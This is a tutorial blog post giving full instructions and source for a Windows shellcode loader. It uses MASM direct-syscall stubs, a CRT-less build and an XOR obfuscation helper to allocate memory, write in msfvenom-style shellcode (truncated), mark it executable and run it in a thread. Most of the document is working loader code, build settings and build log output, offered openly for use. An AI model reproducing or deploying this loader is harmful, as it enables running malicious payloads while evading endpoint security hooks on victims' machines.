███████████████████████████████████████████████████████
█─▄▄▄▄█▄─█─▄█─▄▄▄▄█─▄▄▄─██▀▄─██▄─▄███▄─▄███▄─▄▄─█▄─▄▄▀█
█▄▄▄▄─██▄─▄██▄▄▄▄─█─███▀██─▀─███─██▀██─██▀██─▄█▀██─██─█
▀▄▄▄▄▄▀▀▄▄▄▀▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▀▀

../

## [0.0] Very very simple shellcode loader using MASM assembly 

	1. Create a new Cpp project and create 3 files, syscall.asm and syscall.c, syscall.h
	
	The project needs to be configured.
	Setup phnt header include directory for Solution->ProjectName.
	
	Project->Build Customisation-> masm(.targets, .props) = check box Y
	
	
	2. Win32 & CRT-less time :)
	
	- project properties linker->input->Ignore All default libraries  =   yes. 
		link library dependencies = no
		Additional Dependencies = add the private ntdllp ;ntdllp.lib or add #pragma comment(lib, "ntdllp.lib") 
		if you have sdk & wdk
		
	- linker->Advanced->Entry Point                                   =   ThisIsNotAnEntryPoint (can be custom name)
		linker-> all options -> Show Progress -> Display all progress messages 
		Linker-> Debugging -> Generate Debug Info = No
		
	- c++->Code Generation->Basic Runtime Check                       =   default (to avoid linking in __RTC_*. 
	- C/C++ -> all options -> security = Disable Security Check (/GS-)
	- project properties MASM -> public symbols (Yes (/Zf)) (Can enable this or just specify PUBLIC 
		FuncNameHere at top of asm 
		object file name -> $(SolutionDir)\Bin\%(FileName).obj
		
	- project properties MASM -> Advanced -> Calling conv = C-Style /Gd /Gd
		error reporting = do not send
	
	
	3. create syscall.asm (Get your syscall numbers and target to system)
	#########################################################################################################################
	
	PUBLIC AlloeVirtMem
	PUBLIC WriVirMem
	PUBLIC ProtVirtMem
	PUBLIC CreThreE
	PUBLIC WaiSinObj
	
	_DATA SEGMENT
	_DATA ENDS
	
	_TEXT SEGMENT
	
	AlloeVirtMem PROC
		mov r10, rcx
		mov eax, 18h
		syscall
		ret
	AlloeVirtMem ENDP
	
	WriVirMem PROC
		mov r10, rcx
		mov eax, 3Ah
		syscall
		ret
	WriVirMem ENDP
	
	ProtVirtMem PROC
		mov r10, rcx
		mov eax, 50h
		syscall
		ret
	ProtVirtMem ENDP
	
	CreThreE PROC
		mov r10, rcx
		mov eax, 0C1h
		syscall
		ret
	CreThreE ENDP
	
	
	WaiSinObj PROC
		mov r10, rcx
		mov eax, 4h
		syscall
		ret
	WaiSinObj ENDP
	
	
	_TEXT ENDS
	END

	#########################################################################################################################
	
	
	
	
	syscall.c
	#########################################################################################################################
	
	/*
	Micro Manual MASM based Self Thread Shellcode Injection Using Syscalls
	Author	:	p4yl0ad/p.load
	Date	:	29/10/2021
	*/
	
	#include "syscall.h"
	
	void ThisIsNotAnEntryPoint(void)
	{
		DbgPrint("Custom Entrypoint ThisIsNotAnEntryPoint calc.exe no encryption\n");
			
		unsigned char pload[] = { 0xfc,0x48,0x83,[...SNIP...],0x00 };
		size_t pload_size = sizeof(pload);
		
		HANDLE ph = NtCurrentProcess();
		void * ba = NULL;
		NTSTATUS SysAllocateReturn = AlloeVirtMem(ph, &ba, 0, &pload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
		DbgPrint("SysAllocateReturn\t%x\n", SysAllocateReturn);
	
		my_memmove(ba, (void*)pload, 276);
		DbgPrint("ba 0x%p", ba);      
			
		ULONG nprt = PAGE_EXECUTE_READ;
		ULONG oprt = 0;
		NTSTATUS SysNtProtectReturn = ProtVirtMem(ph, &ba, &pload_size, nprt, &oprt);
		DbgPrint("SysNtProtectReturn\t%x\n", SysNtProtectReturn);
		
		HANDLE th = NULL;
		NTSTATUS SysNtCreateReturn = CreThreE(&th, GENERIC_EXECUTE, NULL, ph, ba, NULL, FALSE, 0, 0, 0, NULL);
		DbgPrint("SysNtCreateReturn\t%x\n", SysNtCreateReturn);
		
		WaiSinObj(th, FALSE, NULL);
		DbgPrint("END");
	}
	
	#########################################################################################################################
	
	
	syscall.h
	#########################################################################################################################
	
	#pragma once
	#define WIN32_LEAN_AND_MEAN
	#pragma check_stack(off)
	
	#include "phnt/phnt_windows.h"
	#include "phnt/phnt.h"
	
	// this is taken straight from sektor7 RTO-MDE , nice lil xor routine
	void XOR(char* data, size_t data_len, char* key, size_t key_len) {
		int j;
		j = 0;
		// for the bytes in the data
		for (int i = 0; i < data_len; i++)
		{
			// Iterate over every character in the key 
			// and "encrypt" XOR a byte with that "key" character
			if (j == key_len - 1) j = 0;
			// xor the data at the iteration index with the key index e.g. data[1] ^ data[1] until key len is reached and 
			// will be repeated
			data[i] = data[i] ^ key[j];
			j++;
		}
	}
	
	#define BUFFER_SIZE        4096
	
	// taken straight from https://aticleworld.com/memmove-function-implementation-in-c/
	void* my_memmove(void* dest, const void* src, unsigned int n)
	{
		char* pDest = (char*)dest;
		const char* pSrc = (const char*)src;
		////allocate memory for tmp array
		//char* tmp = (char*)malloc(sizeof(char) * n);
	
		char* tmp[BUFFER_SIZE];
	
		if (NULL == tmp)
		{
			return NULL;
		}
		else
		{
			unsigned int i = 0;
			// copy src to tmp array
			for (i = 0; i < n; ++i)
			{
				*(tmp + i) = *(pSrc + i);
			}
			//copy tmp to dest
			for (i = 0; i < n; ++i)
			{
				*(pDest + i) = *(tmp + i);
			}
	
			//free(tmp); //free allocated memory
			// not going to free lol
		}
		return dest;
	}

	
	#########################################################################################################################
	
	
	
	
	Now due to verbosity of the build, we can see what happens during the build. I dont really understand why some 
	compiler flags clash but thats the MSVC compiler for you.
	
	
	#########################################################################################################################
	
	Rebuild started...
	1>------ Rebuild All started: Project: Syscall, Configuration: Release x64 ------
	1>Assembling syscall.asm...
	1>MASM : warning A4018: invalid command-line option : /Gd
	1>cl : command line warning D9025: overriding '/sdl' with '/GS-'
	1>syscall.c
	1>Processed /NODEFAULTLIB (suppressing all default libs)
	1>Starting pass 1
	1>Searching libraries
	[...SNIP...]
	1>      Found __imp_DbgPrint
	1>        Referenced in syscall.obj
	1>        Loaded ntdllp.lib(ntdll.dll)
	1>      Found __IMPORT_DESCRIPTOR_ntdll
	1>        Referenced in ntdllp.lib(ntdll.dll)
	1>        Loaded ntdllp.lib(ntdll.dll)
	1>      Found __NULL_IMPORT_DESCRIPTOR
	1>        Referenced in ntdllp.lib(ntdll.dll)
	1>        Loaded ntdllp.lib(ntdll.dll)
	1>      Found ntdll_NULL_THUNK_DATA
	1>        Referenced in ntdllp.lib(ntdll.dll)
	1>        Loaded ntdllp.lib(ntdll.dll)
	1>Finished searching libraries
	1>Finished pass 1
	1>Generating code
	1>Previous IPDB not found, fall back to full compilation.
	1>All 2 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
	1>Finished generating code
	1>Searching libraries
	[...SNIP...]
	1>      Found __chkstk
	1>        Referenced in syscall.obj
	1>        Loaded ntdllp.lib(ntdll.dll)
	1>Finished searching libraries
	1>Invoking rc.exe:
	1> /v
	1> /x
	1> /fo
	1> "C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp"
	1> "C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp"
	1>Microsoft (R) Windows (R) Resource Compiler Version 10
	1>
	1>Copyright (C) Microsoft Corporation.  All rights reserved.
	1>
	1>
	1>Using codepage 1252 as default
	1>Creating C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}}.tmp
	1>
	1>
	1>C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp.
	1>Writing 24:1,	lang:0x409,	size 381
	1>Invoking cvtres.exe:
	1> /machine:amd64
	1> /verbose
	1> /out:"C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp"
	1> /readonly
	1> "C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp"
	1>Microsoft (R) Windows Resource To Object Converter Version 14
	1>Copyright (C) Microsoft Corporation.  All rights reserved.
	1>
	1>adding resource. type:MANIFEST, name:1, language:0x0409, flags:0x30, size:381
	1>Unused libraries:
	[...SNIP...]
	1>Processing /ORDER options
	1>    External code objects not listed in the /ORDER file:
	1>        __chkstk		; ntdllp.lib(ntdll.dll)
	1>        __imp_DbgPrint		; ntdllp.lib(ntdll.dll)
	1>        DbgPrint		; ntdllp.lib(ntdll.dll)
	1>        __imp___chkstk		; ntdllp.lib(ntdll.dll)
	1>        ??_C@_0DG@NADDNNLH@Custom?5Entrypoint?5ThisIsNotAnEn@		; syscall.obj
	1>Finished processing /ORDER options
	1>    Discarded DbgPrint from ntdllp.lib(ntdll.dll)
	1>Starting pass 2
	1>     * CIL library *(* CIL module *)
	1>     * linker generated manifest res *
	1>     syscall.obj
	1>     ntdllp.lib(ntdll.dll)
	1>     ntdllp.lib(ntdll.dll)
	1>     ntdllp.lib(ntdll.dll)
	1>     ntdllp.lib(ntdll.dll)
	1>     ntdllp.lib(ntdll.dll)
	1>Finished pass 2
	1>Syscall.vcxproj -> D:\Collections\Projects\Syscall\Syscall\x64\Release\Syscall.exe
	1>Done building project "Syscall.vcxproj".
	========== Rebuild All: 1 succeeded, 0 failed, 0 skipped ==========

	#########################################################################################################################

	Now you will have a tiny binary which doesnt depend on win32 or crt 	
	If you can show me a way to load msfvenom shellcode in a smaller binary fair play and @ me on twitter PUNICODE_STRING
	
	
	DRIVE:\Project\Projects\Syscall\Syscall>ls -lah DRIVE:\Project\Projects\Syscall\Syscall\x64\Release\Syscall.exe
	-rwxr-xr-x 1 p4yl0_q36yakq 197610 4.0K Month 99 99:99 'DRIVE:\Project\Syscall\x64\Release\Syscall.exe'

	
	Its not about the size but how you use it.